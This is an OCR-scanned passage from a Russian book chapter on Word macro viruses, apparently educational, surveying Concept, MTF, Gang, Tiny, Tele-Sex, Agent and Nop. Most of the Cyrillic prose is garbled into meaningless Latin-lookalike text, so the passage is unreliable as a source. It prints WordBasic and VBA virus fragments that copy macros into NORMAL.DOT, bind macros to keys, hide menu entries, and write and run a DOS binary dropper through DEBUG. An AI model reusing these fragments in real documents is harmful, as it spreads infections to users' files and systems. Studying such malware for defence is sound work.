bTooMuchTrouble = - 1 ... BO3MOXEH [pYrow BUPYC
End If
Next 1 " KoHeu unkna

If Not bInstalled And Not bTooMuchTrouble Then = Ecnu NORMAL.DOT uucT, TO..

sMe$ = FileName$() " B3aTb MMa Tekyuwero AOKyMeHTa

sMacro$ = sMe$ + ":Payload” " ChopMmMpoBaThL MMA Makpoca
MacroCopy sMacro$, "Global:Payload” " W konuposaTb ero 8 NORMAL.DOT
End If

Heodunnansio cunrtaercs, uto supyc Word.Macro.Concept Gbii
HAIUCAH U «BBIITYIIEH B CBET» OJIHUM 13 COTPYAHUKOB (hupmbl Microsoft.
OKoJI0 MecsI11a BUPYC OCTABAJICS HE3aMeUEHHbBIM, [IEPECKAKUBAS C KOMITBIO-
Tepa Ha KOMITbIoTeD, U3 oduca B 0uC, TOTUXOHBKY PACIOI3AJICS IO TLJIa-
HeTe, TI0Ka HAKOHeIl He ObLT 0OHAPYIKEH MTpaKTHYecKr moscemectHo. Ca-
MBIM HEMPUSATHBIM ObLJIO TO, YTO HE CYIIECTBOBAIO OBICTPHIX M HAIEKHBIX
crocoboB MoucKa U yaajJeHus Bupyca, seab Microsoft cunrana opmar
DOC-aiina cBoum cayskebnbiM cexperom. busun Teiite u K° o nocien-
HEro MBITAINCH HE BBIHOCUTH COP U3 U30bI U COXPAHSTh YeCTh MYH/UPA:
OTKa3bIBATICh KOMMEHTUPOBATH CIYXU O BO3MOKHOM aBTOPE BHPYCa,
BCSTYECKU TPUHIKAIIM AKTYaJIbHOCTD YTPO3bI, He CIENTUIIN eJTUThCSI C BU-
pycosoramu opmatamu DOC-daitios u T. 1.

Ceiluac 9T0 BBHINJISIANT Kypbe3Ho, HO B Kowile Jeta 1995 r. Microsoft
paspaboTaia 1 MpeIoKIIa KOMIBIOTEPHON OBIECTBEHHOCTH B KAUECTBE
«manaien» ot Makposupycos mabaon «SCAN831.DOC», KoTopslii ipes-
craBJIsLI co6oii mokyment B hopmare MS Word 6.0/7.0, pexaMupyrormuii
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caMm cebsg M cozpepKalluil aHTHMBUPYCHBI Makpoc <AutoOpens. Irtor
Makpoc cpeiacrBamu sisbika WordBasic ckanupoanr «<NORMAL.DOT»
u Bce 3arpy:kentbie B8 MS Word okyMeHTBI Ha Haju4ue B HUX BUPYC-
HBIX MAKPOCOB (PaCIIo3HABAs UX 110 UMEHAM), & IOTOM YAAJISLI «3apa3y».
[Ipenronokum, BaM IIPUHECU AUCKETY C COTHEN H0KyMeHTOB. CKOJIbKO
BpeMeHU 3aiiMeT UX CKAHUPOBAHUE U JIeUeHNE, BBITIOJIHSIEMbIE C IOMOIIHIO
«SCAN831.DOC» — To ectb hakTruecku Bpyunyio? Kpome Toro, yxe
ocenbio 1995 r. Ha CBET MOSIBUJICS U TIOT10JI3 110 MUPY Makposupyc Word.
Macro.Nuclear, nanucannbiii <im0 moruam» Word.Macro.Concept.
A Bckope mocienoBasiu Bupycst Word.Macro.FormatC, Word.Macro.
Hot, Word.Macro.Colors 1 npoune. K xoniy 1995 r. yxe HacuuTbhiBa-
JIoch GoJiee MOJIyII0KMHBI MAKPOBUPYCOB, BBI3BABIINX GOJIee UM MeHee
obmpHble snugemMun. Heyskesu st Kask/0r0 BUpyca Hy KHO ObLIO pas-
pabarbiBaTh cBOil «ScanXXX.DOC»?

Pasymeetcst, Bupycosiorn paso6paiucs B hopmare DOC-daiiia uncro
XaKEePCKUMHU METOJIaMK — TIPH TIOMOIIM OTJIA[YUKOB U AU3acCeMOIIEPOB.
W anTHBUPYCHI, HAPSIMYIO CKAHUPYIOIINE JOKYMEHTHI U YAAJSIONNE U3
HUX CaMOPa3MHOKAIONTNECS MAKPOCHI, MOSIBUJINCE yiKe K Havamy 1996 .
Ho cmpaseyimBocti pajy cjiefyer TPU3HATh, YTO MOAOOHBII MOIXO/
WHOT/Ia TPUBOJIAJT K TIOCATHBIM ITPOKoIaM. Hampumep, oiuH U3 «Jjaypea-
toB» 1996—-1997 ronos — Bupyc Word.Macro.Cap — moJry4usi 0O4eHb Iu-
POKOE PacTpoCcTpaHeHNE BO BCEM MUPE BO MHOTOM «BJIarofiapst» TOMY, 4TO
He BCe KPYIHBbIE aHTUBUPYCHI KOPPEKTHO 0OpabaThiBai BHYTPEHHIO
crpykrypy DOC-@aiina 1 mosToMy IpoIycKanu HeGoMbIIoN IPOLEHT 3a-
PaKEHHBIX JOKYMEHTOB.

Bcero Bo Bropoii nojioBute 1990-X 10108 ObLIO HAIIMCAHO M BBIILYIIE-
HO B «JINKYI0 TIPUPO/Y» HECKOJIBKO ThICSIU MaKpoBUpPycoB st MS Word
6.0/7.0. Haubouiee «momnyssipubiMu» (ecau Beputh Joe Wells) B korie
XX Beka 0bL11 BO BceM Mupe Makposupycsl Word.Macro. Wazzu, Word.
Macro.Cap, Word.Macro.Npad, Word.Macro.MDMA u zp. Boibumm-
CTBO U3 HUX SIBJSLIMCH Bapuanusimu Ha temy Word.Macro.DMV u Word.
Macro.Concept. Hike MBI ommiiieM HEKOTOpPbIE OTKJIOHEHHUS OT 3TOTO
«CTaHzapTas.

5.1.2.1. Ilpobaema <aoxanuzavyuus

[Inpokoe pacmpocTpaHeHWe TOIYYNIN TaK Ha3bIBAeMble <«JIOKAJH-
soBanHbie» Bepcuu MS Word: «pycuduiiupoBaHHbie», <«UCITAHU3UPO-
BaHHBICY, «ATTOHU3WUPOBAHHBIE» W Jp. JIOKaIM3amms mojipazyMeBaeT He
TOJIBKO TIEPEBOJI CUCTEMHBIX COOOIIEHUI U MyHKTOB MEHIO Ha COOTBET-
CTBYIONTUI S3bIK, HO W TOMYAC TIePEUMEHOBAHUE CTaHIAPTHBIX MMEH,
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KJIIOYEBBIX CJIOB 1 T. 1. B KauecTBe MpuMepa NPUBEIEM Psijl TAKUX «CHHO-
HUMOB» (cM. Tabu. 5.1).

Tabnuuya 5. 1. UmeHa makpocoB
B «HaLMOHasbHbIx» Bepcusx MS Word

Umsa makpoca A3bIK Uma makpoca A3bIK
FileNew AHMNACKNIA FileNuovo VtanbaHcKni
FilerNyt Jatckui FicheiroNovo [MopTyranbckun
BestandNieuw fonnaHackmi ArchivoNuevo McnaHckui
TiedostoUusi DuHckuin ArkivNytt LLIBeackuni
FichierNouveau | ®paHuy3ckuii ArquivoNovo Bpasunbckunin
DateiNeu Hemeukui

EcTb erre o100 BaskHOE pasyinyme: IpeonpeieieHHOe BHyTPEHHEe UMS
mrabnona «<NORMAL.DOT» ans amepuxanckoil sepcun MS Word ectb
«GLOBAL», a 1151 manbeBponeicKux (KOTOpble W TIOCTYKUIU OCHOBOM
JUTST Pa3TUYHBIX JIOKAIU3AIUH, B TOM YUCTe U IS «PyCUPUKAIII» ) —
«NORMAL>». Bor ¢parment Bupyca Word.Macro.MTF, kortopsrit 10-
BOJIBHO JIOBKO 00€CTIEUNBA CBOIO pabOTOCTIOCOOHOCTD B Pa3IMUHbIX Pas-
HoBugHOCTSIX MS Word:

MacAndTmp1$ = Name$ + ":FileSave”
MacAndTmp2$ = Name$ + ":AutoOpen”
‘On Error Goto MyTrap " MoaroTosuTb 06paboTKy OwMOKM

"MacroCopy MacAndTmp1$ "Global:FileSave" ' KomupoBaTb MakpoCh Mno-amepukaHcku'
MacroCopy MacAndTmp2$ "Global:Mtf1"

‘MyTrap:
MacroCopy MacAndTmp1$ "Normal:FileSave" " KonupoBaTb MaKpoChl "NO-NaHbeBPONENCKN”
MacroCopy MacAndTmp2$ “Normal:Mtf1"

5.1.2.2. Akmueayus 0e3 <«asMoOMAMUUECKUX MAKPOCOE>

Yarie Bcero /7151 3TOTO MCTI0JIB30BATIACH «ITPUBS3KA» BUPYCHBIX MaKPO-
COB K KaKOH-HUOY b KJaBUaTypHOU KoMOuHaIwm. «Kiaccuueckum» crai
pUeM, UCIoJb3oBaHHbIi B Bupyce Word.Macro.Gang:
ToolsCustomizeKeyboard

.KeyCode = 32, .Category = 2, .Name = "Gangsterz”, .Add, .Context =0

ToolsCustomizeKeyboard
.KeyCode = 69, .Category = 2, .Name = "Paradise”, .Add, .Context = 1

ITpuBeseHHbIe KOMAH/IBI CTABSIT B COOTBETCTBHE KJABHIIE <ITPOGES»
Makpoc ¢ umenem «Gangsterzs, a kiasuine ¢ OykBoi «E» — makpoc
«Paradise». CkoJIbKO pa3 TOJIB30BaTENh TEKCTOBOTO PEIAKTOPa HAKMET
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9TH KJIABUIIM, CTOJIBKO a3 yIIpaBJeHKe I0Jy4aT BHPYCHbIE MAKPOCHI.
[IpuMepaMu BUPYCOB, UCIOJIB3YIOUNX IHOAOOHYIO TEXHUKY, ABJSIOTCS
Word.Macro.Stress, Word.Macro.Outlaw, Word.Macro.Grunt u T. 11.

5.1.2.3. Konuposanue maxpocoe 6e3 «MacroCopy»>

Hexoropbie BUpyChI [jist pabOThI ¢ MAaKPOCAMU UCIIOJIB3YIOT METO/IbI
koMaHzibl «Organizer», KOTOpPbIE MO3BOJISIOT KOIMUPOBATH MaKPOCHI M3
JOKyMeHTa B 11abJIoH U 00paTHO, TIEPENMEHOBBIBATh U YAAISITh UX. BoT
«KyCOY€eK» MCXOAHOro Tekcra Bupyca Macro.Word.MSW, o6xostiiero-
cs 6e3 «MacroCopy»:

TemplatePath$ = DefaultDir$(2)
WorkDirPath$ = DefaultDir$(0)

NormalPath$ = TemplatePath$ + "\Normal.dot"”
CurrentFile$ = FileNameFromwWindow$()

Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, \
.Name = "FileClose”, .Tab =3

Takke BechbMa OPUTHHAJIBHBIM BBITJISIUT TIOBEJEHUE MaKPOBUPYCOB
cemeiictea Word.Macro.Tiny. Co6cTBEHHO TOBODPsI, BeCh (DYHKI[HOHAJ
ATUX BHUPYCOB 3aK/IOYEH B EIMHCTBEHHOH cTpouke Bupa <«SendKeys
"%xk%0%Kk{ESC}">. DT1a KOMaHIa <«mocblaaeTs mporpamme MS Word
KOZIbI SIKOObI HasKaTbIX IoJb3oBareaeM kiasuir «Alt+X»> (BbI3oB 10oj-
Mmento «File»), «<K» (Bo160p mosuimn «Templates), «Alt+0» (Haxartue
kronku «Organizer»), «Alt+K» (#axatue xxonku «Copy») u «<ESC»
(kowerr paboThl). Bripouewm, B «pycuduimposantbix> Bepcusix MS Word
ATOT KO/l paboTaTh He OY/IET, TaK KaK B HUX TPeOYETCS HAKUMATD COBCEM
NIPyTUE <TOPSYMEs» KIABUIIIN.

5.1.2.4. 3anyck o6unapnozo xooa

MakpoBHUPYChHI TakKe GBIBAIOT «MHOTOTLIAT(HOPMEHHBIMU», TTOCKOb-
Ky CIOCOOHBI CTYKUTH TIEPEHOCYUKAMH JIBONYHOTO KOJIa OOBIYHBIX MTPO-
rpamMm — (pailJIOBbIX BUPYCOB, «TPOSIHIIEB», IEMOHCTPAIIMOHHBIX POJIMKOB
u 1. 1. Bor dparmenT ucxomauoro Tekcra supyca Word.Macro.Tele-Sex,
MJLTIOCTPUPYIOIIETO 3TY BO3MOKHOCTD!

Open "C:\dos\telefoni.scr” For Output As #1
Print #1, "N TELEFONT.COM"

Print #1, "E 0100 E9 AF 13 9F 4D D1 OF D9 OA D7 OA B2 25 EB 67 C2"
Print #1, "E 0110 26 F6 20 F7 33 E6 67 BA 24 BB 67 A3 7E AA 7E 9F"

Print #1, "E 14C0 43 81 34 47 92 46 46 E2 F8 31 F6 31 C9 C3 00"
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Print #1, "RCX"
Print #1, "13CF"

Print #1, "W"
Print #1, "Q"
Close #1

Open "C:\dos\telefoni.bat” For Output As #1
Print #1, "@echo off”

Print #1, "debug < telefoni.scr > nul”
Print #1, "@echo off”

Print #1, "telefoni.com”

Close #1

ChDir "C:\dos"

Shell "telefoni.bat”, 0

Makposupyc Word.Macro.Tele-Sex cosgaer Ha jaucke aiin
«TELEFONI.SCR» u 3anucbiBaeT B HETrO TEKCTOBBIM TaMIl Kjaccuye-
ckoro MHoromatdopmentoro supyca Telefonica, 3apaskaionero COM-
n EXE-gaiinbl, a Takske MBR BuHuecTepa. 3aTreM MakKpOBHUPYC CO3/Ia€T
koManubii (aitn « TELEFONILBAT», BemosHsoNmi (hopMupoBanme
JIBOMUYHOTO 0Opasa (ailyioBoro BUpyca U 3allycK ero. B peasusaiiuu Ko-
BapHbIX IJ1aHoB Makposupyca Word.Macro.Tele-Sex akTuBHO ydyacTBy-
et cranjgaptablii otmamunk «DEBUG», npucyrcrByionuii mo ymoJrda-
nuto u 8 MS-DOS, u 8 Windows. Takum ob6pasom, sarpysus 8 MS Word
JNOKYMeHT, cozepxaimuii makposupyc Word.Macro.Tele-Sex, moxHo
«sapaboraTb» nenbii Oyker IIIIII — «3aboseBammii, epeaaloUIXCs 0~
JIOBBIM TIyTeM». PagymeeTcst, uMeeTcs B BULY KOMITBIOTEPHBIH, a He Me/TH-
IIUHCKWH, CMBICJT 9TOTO TEPMUHA.

5.1.2.5. Obecneuenue <nesuoumocmu»

Boobie roBopsi, MaKpOBUPYCHAS «HEBUIUMOCTb> BO3MOKHA TOJHKO
B KOHTEKCTe BUPTYQJIbHON MAaIIMHBL. BUPYC MOKET MOTBITATBCS «CIIPSI-
TaThCS» OT TTOJIb30BATEJIsI, CIIOJIB3YIONIEr0 CPEICTBA BCTPOEHHOTO B MS
Word «Opranusatopa» npuMepHo Tak, kak 910 genan Word.Macro.
Agent:

If MenultemText$("&Tools”, 0, 13, 0) = "&Macro..." Then
ToolsCustomizeMenus .Name = "ToolsMacro”, .Menu = "Tools"”, \
.Remove, .Context = 0
EndIf
If MenultemText$("&Tools”, 0, 13, 0) = "&Customize..." Then
ToolsCustomizeMenus .Name = "ToolsCustomize”, .Menu = "Tools", \
.Remove, .Context = 0
EndIf
If MenultemText$("&File", 0, 10, 0) = "&Templates...” Then
ToolsCustomizeMenus .Name = "FileTemplates”, .Menu = "File", \
.Remove, .Context = 0
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EndIf
If MenultemText$("F&ormat”, 0, 14, 0) = "&Style..." Then
ToolsCustomizeMenus .Name = "FormatStyle”, .Menu = "Format”, \
.Remove, .Context = 0
EndIf

ITociie BBIIOJHEHUS STHX CTPOK U3 MeHio nporpammbl MS Word «1po-
MaJIal0T» BCE MYHKTHI, P TTOMOIIM KOTOPBIX MOJI30BaTEb MOT GbI 06pa-
TUThCA K «Opraruzatopys». Ho OT BHEITHUX aHTUBUPYCOB, OTKPBIBAIOTITUX
DOC-aiinbr u ananmu3upyommux ux CTPyKTY Py, MAKPOBUPYC CIIPSITATHCH,
KOHEYHO JKe, He CIIOCOOeH.

5.1.3. Bupycbl Ha a3bike VBA

C mnosgsienueM mnpoxaykra Microsoft Office 97 OCHOBHBIM CPEACTBOM
JUIs HAIMCAHUsS MakpocoB (IipuyeM He ToJbKO B cpege MS Word, Ho
u B MS Excel, MS Access, MS PowerPoint, a ente 8 MS Visio, Adobe
Corel, Autodesk AutoCAD u . 1.) cran s3pik VBA — Visual Basic for
Application. 11 ocraercst uM 10 CHX IOP.

B MS Word 97 (u B 6osiee crapmumx Bepcusx — 2000 u XP) pabora
¢ MaKpocaM¥ OpraHH30BaHa B OOIINX YepTax Tak ke, Kak u B MS Word
6.0/7.0, a UMEHHO: TOCTYI K CO3/IAHUIO HOBBIX MAKPOCOB OCYIIECTBIISIETCST
n3 MeHio «CepBucy 1 yHKTa « Makpoc», TJie JKUBYT MOMMYHKTHI «Makpo-
cbi» 1 «Penaxrop Visual Basic». Ho oTpeaktupoBaTh U Jaske YBUAETD YiKe
CYIIECTBYIONIYIO MAKPOKOMAHJIY CTAHAAPTHBIMU CPEICTBAMU He TIOTYyUUT-
csl, eCJIM Ha Hee pa3paboOTUYMKOM MOCTaBjeHa 3amuTa. J{Jist KonupoBaHus
U yZIaJIeHusI MaKPOCOB MCIOJb3yeTcss «Oprann3atops, KHOIKH OCTYyTIA K
KOTOPOMY PacIiojIo;KeHbI B TeX ke MecTax, uro 1 B MS Word 6.0/7.0.

VBA - at0 TOKE tuaekT si3bika Basic. O011ast cTpyKTypa mporpaMmel,
MPaBUJIAa «CKJIEMBAHWSI> W «Pa3pe3aHusi> CTPOK, CIIOCOOBI 0(hOPMITEHST
KOMMEHTapHueB IIPUMEPHO TaKue ke, Kak u B a3bike WordBasic. Ho Bce
OCTaJIbHOE OPTraHM30BaHO HECKOJIBKO NHAYE.

ITo cpasuenuio ¢ aspikom WordBasic, B VBA ropaso 6osiblie TUIIOB
nannbix: Byte, Integer, Long, Boolean, Single, Double, Currency (zemn-
ru), Decimal, Date (Bpemst u mata), String, Variant (yHuBepcasbHBII
tun). [lepeMeHHbIE OMICHIBAIOTCS YYTh-UYTh MTO-APYTOMY:

Dim AAA As String
Dim CCC Double

Jlo6aBuinch HOBBIE YITPABJISIIONINE KOHCTPYKITHU.
Huka ¢ npexycioBueM:

Do While/Until <Ycnoswe>

Loop
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[Mukr ¢ mocTycnoBueM:

Do

Loop While/Until <Ycnosne>

[uka ¢ mepeunciaeHueM:

For Each <9nemeHT> In <Konnekuus>

Next <3nemeHT>

ImaBHOE ke OT/INYNE 3aKTI0YaeTcsi B TOM, 4T0 VBA — 00bekTHO-0pH-
EHTUPOBAHHBIN A3bIK. BepHee, aTO A3bIK, MpeIHA3HAYEHHBIN 7T CO3/1a-
HYsT COOCTBEHHBIX MPOTPAMM B PaMKaX CJIOKHOH OOBEKTHOW MOJEIH
Microsoft Office. On mogmepxuBaet nousiTHst 06pexma (Habopa ceoticma
1 Memodog) u cemeticmea (TPYNIbI OXHOTUITHBIX 00BEKTOB) U TTO3BOJISIET
[IPOM3BOIUTh HAJI HUMU pa3iudnbie onepanuu. Ho, B oTiindue ot «Ha-
CTOSITINX> OOBEKTHO-OPUEHTUPOBAHHBIX SI3bIKOB, OH OPUEHTHUPOBAH Ha
JKECTKO (DUKCHPOBAHHYIO OGBEKTHYIO MOJIENb U, B OOIIEM-TO, HE TPEIHa-
3HAUEH [IJIsT <KOHCTPYUPOBAHUSI» CBOMX OOBEKTOB U KJIACCOB TP MTOMOIIIN
<«UHKATCYJISIUNY, «<HACTEJOBAHUI> WU <IOJTIMOPhI3Mas.

Ita 06BEKTHAST MOJIENb CUIIBHO 3aBUCUT OT KOHKPETHOW MPUKJIAIAHOI
MPOrpaMMBbl, B KOTOPYIO WHTETPUPOBaHA BUPTyaJbHas MalllWMHA SI3bIKA
VBA. ua MS Word, MS Excel, MS Access u pouux IpUIOKEHUN MO-
JIeJTb BBITJISIZIAT TIO-PA3HOMY.

«Kopenb» y zepeBa, OMUCHIBAIONIET0 0OGBEKTHYIO MOJIED JII000# TTpH-
KJIQJIHOU TIPOrpaMMbl, Bceraa HasbiBaercst «Applications — 310 06beKT,
COTIOCTaBJIEHHBII HAOOPY CBOWCTB M METOJOB CaMOIl MPUKJIaJIHON TPO-
rpaMMbl. A BOT <«BETBU» U <«JIUCThsI» B PABHBIX IPUJIOKEHUSIX MOLYT
ObITh pasHbIMU. BoT, HATprMep, Kak BBITJISIAUT AePeBO 00bEKTOB /st MS
Word 97 (cm. puc. 5.2). «BeTBu» U «JIMCThsI», AJIs1 KOTOPHIX YKAa3aHbI ABa
upeHTU(HUKATOPa, COOTBETCTBYIOT OJHOBPEMEHHO U OOBEKTY (MMsI BHE
CKOOOK), 1 ceMelcTBY 00beKTOB (MMSI B CKOOKAX).

Oo6vbekrHoe «gepeBo» st MS Word 2000, MS Word XP u 1. z1. Bbiris-
JIUAT €Tl CTOKHEe, HO 00TIast eT0 CTPYKTYPA OCTAETCS MTPEKHET.

Ocobenno BaxkHO it Hac cemeiictBo «VBE» (Visual Basic Environ-
ment) — HAOOP 0OBEKTOB, COMOCTABJIECHHBIN Cpejie TTPOrpaMMUPOBaHN,
KOTOpPast BKJIIOYAeT PEAAKTOP, TPAHCIATOP, CPeLy OTIAAAKN 1 T. . OxHOM
u3 BerBell «VBE» gaBiserca «VBProjects» — cemelicTBO BceX OTKPBITBIX
[IPOrPAMMHBIX TIPOEKTOB, BKJI0Uaoiee cpean mpounx «Normal Template»
(IIPOEKT, TOCTABJEHHBIH B COOTBETCTBHE TIJIOOATBHOMY IHAOIOHY
«NORMAL.DOT») n «ActiveDocument» (TIpoeKkT, «KUBYIIHUI» B aK-
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| Application
H Addins [Addin) | HListGalleries [ListGallery)
% Aszzistant | L{ LigtTemplates [ListT emplate]
% AutoCaptions [AutoCaption) | |—| ListLevels [ListLevel] T
% AutoCorrect | % Mailingl abel
ﬂ Browser | CustomLabels [CustomLabel]
ﬂ CaptionLabels [CaptionLabel) | ﬂ MailMeszage
ﬂ CommandB ars [Co dBar] | ﬂ Options

% Dialogs (Dialog) % Selection

% Dictionaries [Dictionary] % SpellingSuggestions [SpellingSuggestion)

% Documents [Document) % Synonyminfo

% FileConverters [FileConverter) % System

|
|
|
|
HFileSearch |  Hrasks (Task)
|
|
|
|

% FontMames
%Ke_l,lsBoundTo [KeyBinding)

% Templates [Template]

HVBE
% Windows [Window)

|
|
|
|
|
|
|
|
I—{ CommandB arControls [CommandB arControl) | ﬂ RecentFiles [RecentFile) |
|
|
|
|
|
|
|
|

HKeyBindings [KeyBinding)

ﬂ Languages [Language]
I—{ Dictionary |

Puc. 5.2 < O6bekTHaa mogens MS Word 97

TUBHOM JIOKyMeHTe). KasKblii TPOEKT — 9TO COBOKYITHOCTH IIPOTPAMM-
HBIX MOJYJIEH, TO €CTh MaKPOCOB.

ITo ymomyanuto cpena VBE co3naer 1Ba 0AMHAKOBBIX «IIYCTBIX» ITPO-
ekta (oaun — cBa3auubiii c «<NORMAL.DOT», apyroii — ¢ ak TUBHBIM J10-
KYMEHTOM), B KOTOPBIE ITPOTPAMMHUCT MOKET JOOABJISITH CBOU MAKPOCHL
B KaskI0M U3 IPOEKTOB M0 YMOJIYAHUIO JOCTYITHBI JIJIs1 PAGOTHI TOJIBKO /1B
MozyJist — ¢ umenamu « ThisDocuments u «NewMacros», Kasblii 13 HUX
MOJKET COJIEPKATh HEe3aBUCUMbIE IPYTIITBI MAKPOCOB.

Ho, 1meKHyB Ha «IIPOEKTe» IPaBOi KHOIIKOW MBIIIM U BLIOPAB IyHKT
«BcTaBuTh», MOJIH30BATEb UMEET BO3MOKHOCTD J00ABJSTH K MPOEKTY
JOTIOJTHUTEIbHBIE MOJYJU. [IprdeM 3TO MOTYT OBITH He TOJIBKO «OOBIU-
Hble» MOy (Harpumep, «Mozayibl»), HO ¥ Tak Ha3bIBaeMbIe «MOLYJIN
KJIACCOB», KOTOPbIE TPEJHA3HAYEHBI [IJI XPAHEHUS <KJACCOB», TO €CThb
OITPeJIeISIEMbBIX I0JIb30BATEIEM THIIOB 0OBEKTOB. VIHTEPECHO, UTO «<MOJLY-
JIN KJIACCOB» BMECTE C ONPEIeJIEHUSMU TUIIOB MOTYT COJIEPKATh U UCIIOJI-
HsIeMble MaKPOCHI.
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=-%&& Mormal
-l Microsoft Word OfbexkTel
H

Project {fokymeHnTl)
Bl Microsaft Wword ObtekTel
- @ ThisDocument
B3 Moayna

{0 el NewMacros

Coz0aHo
ABTOMATHUECKK

OofaeneHo
NoNBZ0BEATENEM

o ) Knacel

-3 Coeinkn

Puc. 5.3 < PacnonoxeHne Makpocos
B Moaynsax MS Word 97

Taxum 06pa3oM, BHYTPH JOKyMeHTa (MU 11abJIoHa) MOTYT HAXOAUTh-
Cs1 HECKOJIBKO PA3JIMYHBIX TPYII MPOTPAMMHBIX MoOAyJieil. BaxkHo, uto
BayTpu DOC-daiina oru n pa3mMeniaioTcst ToKe B PA3HbIX MECTaX.

ITockoJbKY OZIHOBPEMEHHO MOKET OBITH OTKPBITO HECKOJBKO JIOKY-
MEHTOB, TO U OTKPBITHIX MPOTPAMMHBIX MPOEKTOB MOXKET OBITh HE JBa,
a 6ospiie. [TocunTaTh UX MOKHO TIpU MOMOIIHM cBoiicTBa «Count», a jio-
CTYTI K JIIOOOMY M3 HUX MOKHO OPTaHU30BATh 110 UHJEKCY (MOPSIIKOBOMY
HOMepY) Tipu nomontu Metona «Item(<wnumexkc>)». Haunnas ¢ Bepcum
MS Word 2000 B «VBProjects» nogsunuch metonsl «Add», «Removes
W T. 1., TIO3BOJISAIONTIE HATIPAMYTO I0OABIATH K IOKYMEHTY UJIH YAAJISATH U3
HETO MMPOrPaMMHBIE TPOEKTHI.

Otrgenphble mpoekthl (Hanpumep, «NormalTemplate» mam <«Active-
Document») spisiorcs cBoiictBamu oObekTa «VBProject» u, coorser-
CTBEHHO, 00jagaoT cpeau mmpounx csoiictBoM «VBComponents». Omo
IaeT A0CTYT (10 YNCTOBOMY MHIEKCY UJIH M0 CTPOKOBOMY MMEHH KOMIIO-
HEHTA) K OT/IeIbHBIM COCTABHBIM YACTSIM TIPOEKTA: K TEKCTOBBIM MOTYJISIM,
OKOHHBIM (hopMam 1 T. 1. OOBIYHO TEKCTOBBIN MOJYIIb MAKPOCOB MMEECT
unzekc 1. DTH cocTaBHbIE YaCTH MOKHO 00aBAATH (TPU MTOMOIIM METO/IA
«Add»), yaanare (npu nmomomu «Removes), a elle X MOKHO II€JTUKOM
UMIIOPTUPOBaTh U3 daitna (pu momoinu Metoga «Imports»). Y otnenbno
B34TOTO KOMIIOHeHTa (TpuHaIexaiiero koanekinun «VBComponents),
HATPUMep Y TeKCTOBOTO MOJYJISI, €CTh PsI/l OU€Hb UHTEPECHBIX METO/IOB U
cBolicTB. Bo-1iepBbIX, MeToIoM «EXporty ero MoxXHO cOXpaHUTh B (haiir.
Bo-BTopsix, cBoiictBo «CodeModule» maer mocTyn K TekcToBOil yacTu
MOJIyJIst KaK K COBOKYITHOCTH CTPOK U obecreunBaeT aTpubyTaMu, Kak-To:
csoiicTBo «CountOfLines» — BosBpaiaer KOJIMYECTBO CTPOK; «Lines» —
BO3BpAIlaeT TeKCT yKasaHHbIX cTpok; «AddFromFile» — moGasiser
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(dbparment TekcTa u3 ykazannoro daiina; «AddFromString» — noGasiser
dbparment tekcra us crpoky; «AddFile» — nobaBisger HeIuKoM TEKCT 13
ykaszaHHoro aiina; «InsertLines» — Bcrasisier cTpoky; «DeleteLines» —
yaassier crpoky; «ReplaceLines» — 3aMeHsieT cTpoOKy u T. I1.

Yrobsl moab3oBatenb npu nepexone ¢ WordBasic na VBA He Tepsan
MPEKHNX CBOMX HapaboTok, dupma Microsoft obecmeuria HEKOTOPYIO
COBMECTUMOCTb «CBEPXY BHU3», To ectb MS Word Bepcuii 97,/2000/XP
«MMOHWMAET» U JlakKe WCIIOJTHSIET HEKOTOPble MAaKPOChI, HAMCAHHbIE HA
WordBasic. YacTp KOHCTPYKIMIA sI3bIKa MEpeNia U3 BEPCUU B BEPCHIO
110 HACJIE/ICTBY, & <YCTapeBIIMe» KOHCTPYKIMU PACCMAaTPUBAIOTCS Kak
MICEBIOMETOIBI TIceBROKOIeKIM «WordBasic» u Takke J10CTYIHBI JJIst
ucnosnenus. M aro npasuibho, Tak Kak WordBasic — Gosee ipoctoit
yIOoOHBIN s13b1K, ueM VBA (1o kpaiiteil Mepe, mist 00paboOTKU TEKCTOB),
3a4€eM JKe OT HETO TIOJHOCTBIO OTKA3bIBATHCS ?

Bor wumoctpanust — oauH 13 Makpocos Bupyca Macro.Word.Nop,
HanucanHbiil 111 MS Word 6.0/7.0:

"Bupyc Macro.Word.Nop Ha WordBasic'e
Sub MAIN
m$ = FileName$() + ":AutoOpen”
MacroCopy "Global:NOP", m$
m$ = FileName$() + ":NOP"
MacroCopy "Global:DateiSpeichern™, m$

FileSaveAs .Name=FileName$(), .Format=1
End Sub

U BapuaHT 9TOTO 5Ke BUPYyCa, aBTOMATUYECKH [IePeTPAHCIUPOBAHHbIN
B cpeny MS Word 97:

‘Bupyc Nop, aBTomMaTu4ecku nepesBefeHHbn Ha VBA

Public Sub MAIN()

Dim m$

m$ = WordBasic.[FileName$]() + ":AutoOpen”
WordBasic.MacroCopy “Normal:NOP™, m$

m$ = WordBasic.[FileName$]() + ":NOP"

WordBasic.MacroCopy "Normal:DateiSpeichern”, m$
WordBasic.FileSaveAs Name:=WordBasic.[FileName$]1(), Format:=1
End Sub

To ectb ecsiu B MS Word 97 oTKpBITH IOKYMEHT, CO3/IaHHbII Cpe/cTBa-
mu MS Word 6.0/7.0, To HOpMasIbHO GY/IyT BOCIIPUHSITHI HE TOJBKO TEKCT
C pUCYHKaMu ¥ TaOJIUI[AMU, HO W XPAHSIIUECs] BHYTPU HesanppoBaH-
HbIE MAKPOCHI, HallMCaHHbIe Ha st3bike Word Basic.

HoBbIx MeTO0B aKTUBAIIMY MaKPOBUPYCOB, HATMCAHHBIX HA VBA, He
MOSIBUJIOCH — B OCHOBHOM MMU UCIIOJIb3YeTCH TPAIUITMOHHBII MeXaHI3M
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aBTOMaTHYECKUX MakpocoB: «AutoOpens, «AutoClose» u 1. . K crincky
MoI0OHBIX MaKpOCOB 00aBUINCh HOBble uMena: «Document Opens,
«Document_Close» u ap. Anroput™m paboOThI TOKE HE HPETEPIIES U3Me-
HeHwuit: ecau BuUpyc obHapyxuaer cebst B «<NORMAL.DOT», To 3apa-
JKaeT aKTUBHBIN [OKYMEHT; eCJI CTAPTYeT U3 JOKYMEHTa, TO 3apaskaeT
«NORMAL.DOT».

A BOT KOTIPYIOTCST M3 00BEKTA B 00HEKT MAaKpoBUpYyCH A7t MS Word
97 uyTh-uyTh MO-MHOMY. B MakpoBUpYycax, HAMMCAHHBIX Ha gd3biKe VBA,
KJIIOUEBYIO POJIb UTPATOT CJIEYIONNE KOMAH/IBI I METOJIBI.

«OrganizerCopy(<Ucrounux>, <IIpuemuux>, <Umsa>, <TunO6b-
exTa>)» — MeToJl obbekTa «Applications», KOMUPYIONUI OOBEKTHI THIIA
<TunO6wekra> (st Makpocos ato Tun «wdOrganizerObjectProject-
